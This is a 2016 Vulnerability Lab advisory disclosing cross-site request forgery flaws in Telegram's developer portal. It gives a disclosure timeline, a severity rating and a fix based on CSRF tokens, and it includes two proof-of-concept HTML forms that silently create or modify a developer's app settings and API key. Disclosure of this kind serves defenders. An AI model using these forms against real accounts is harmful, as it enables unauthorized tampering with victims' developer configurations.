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Telegram (API) - Cross Site Request Forgery Vulnerabilities


From: Vulnerability Lab <research () vulnerability-lab com>
Date: Wed, 27 Jan 2016 15:21:24 +0100

Document Title:
===============
Telegram (API) - Cross Site Request Forgery Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1648


Release Date:
=============
2016-01-17


Vulnerability Laboratory ID (VL-ID):
====================================
1648


Common Vulnerability Scoring System:
====================================
3.2


Product & Service Introduction:
===============================
Telegram is a cloud-based instant messaging service that focusses on privacy and multi-platform availability. Telegram 
clients exist for 
both mobile (Android, iOS, Windows Phone, Ubuntu Touch) and desktop systems (Windows, OS X, Linux). Users can send 
messages and exchange 
photos, videos, stickers and files of any type up to 1.5 GB in size. Telegram also provides optional end-to-end 
encrypted messaging with 
self-destruct timers. Telegram is run by Telegram Messenger LLP and backed by Russian entrepreneur Pavel Durov. Its 
client-side code is 
open-source software, whereas its server-side code is closed-sourced and proprietary. The service also provides APIs to 
independent developers.

(Copy of the Homepage: https://en.wikipedia.org/wiki/Telegram_%28software%29 )


Abstract Advisory Information:
==============================
An indepndent vulnerability laboratory researcher discovered multiple client-side vulnerabilities and a filter bypass 
issue in the official Telegram (API) for app developers.


Vulnerability Disclosure Timeline:
==================================
2015-11-17: Researcher Notification & Coordination (Amer Lawrence)
2015-11-18: Vendor Notification (Telegram Security Team)
2016-01-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Telegram Messenger LLP
Product: Telegram (API) - App Developers 2015 Q4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple cross site request forgery web vulnerabilities has been discovered in the official Telegram (API) for app 
developers.
The vulnerability allows to unauthorized execute application functions in connection with client-side performed 
malicious requests.

Attackers can start Cross site request forgery attack against the auth mechanism of the telegram api development to 
inject a 
customized android,ios,... app configuration on any telegram api developer user. By send malicious link contenting an 
html code 
responsible for these changes without an access token to protect developers from these attacks. The impact of the bug 
is leaving 
web application without protection of an access token. Thus allows an attacker to perform these type of attacks doing 
unwanted 
actions in the user settings.

The security risk of the cross site request forgery web vulnerabilities are estimated as medium with a cvss (common 
vulnerability 
scoring system) count of 3.2. Exploitation of the csrf vulnerabilities requires no privileged iOS system user account 
and low or 
medium user interaction. Successful exploitation of the vulnerability results in unauthorized execution of system 
specific 
functions by client-side performed requests to compromise the telegram api dev accounts.


Proof of Concept (PoC):
=======================
The cross site request forgery web vulnerabilities can be exploited by a remote attacker without privileged 
web-application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.

PoC: Video
https://vimeo.com/145911184  (password:vuln4safe)


PoC: #1 CSRF for adding android app or any one else as requested ...

<html>
  <body>
    <form action="https://my.telegram.org/apps/create"; method="POST">
      <input type="hidden" name="app_title" value="APP_NAME" />
      <input type="hidden" name="app_shortname" value="SHORT_NAME" />
      <input type="hidden" name="app_url" value="LINK OF USE" />
      <input type="hidden" name="app_platform" value="android" />
      <input type="hidden" name="app_desc" value="good one " />
      <input type="submit" value="CSRF-Add App" />
    </form>
</body>
</html>


PoC: #2 Html code to save the API or changed it ...

<html>
<body>
<form action="https://my.telegram.org/apps/save"; method="POST">
      <input type="hidden" name="app_title" value="APPNAME" />
      <input type="hidden" name="app_shortname" value="SHORTNAME" />
      <input type="hidden" name="app_gcm_api_key" value="API KEY" />
      <input type="submit" value="Save App api-CSRF" />
    </form>
    </body>
    </html>

Note. This CSRF issue is combined by two folloup request to execute successful function with a not expired session by 
click.


Reference(s):
https://my.telegram.org/apps


Solution - Fix & Patch:
=======================
The vulnerability can be patched by implementation of a secure cookie or access token that protects the important 
online-service functions.
Setup a csrf token and implement a secure exception to prevent cross site exploitation. Restrict the input and disallow 
special chars.


Security Risk:
==============
The security risk of the cross site request forgery web vulnerabilities in the offical telegram api for app developers 
is estimated as medium. (CVSS 3.2)


Credits & Authors:
==================
Lawrence Amer - ( http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer )


Disclaimer & Information:
=========================
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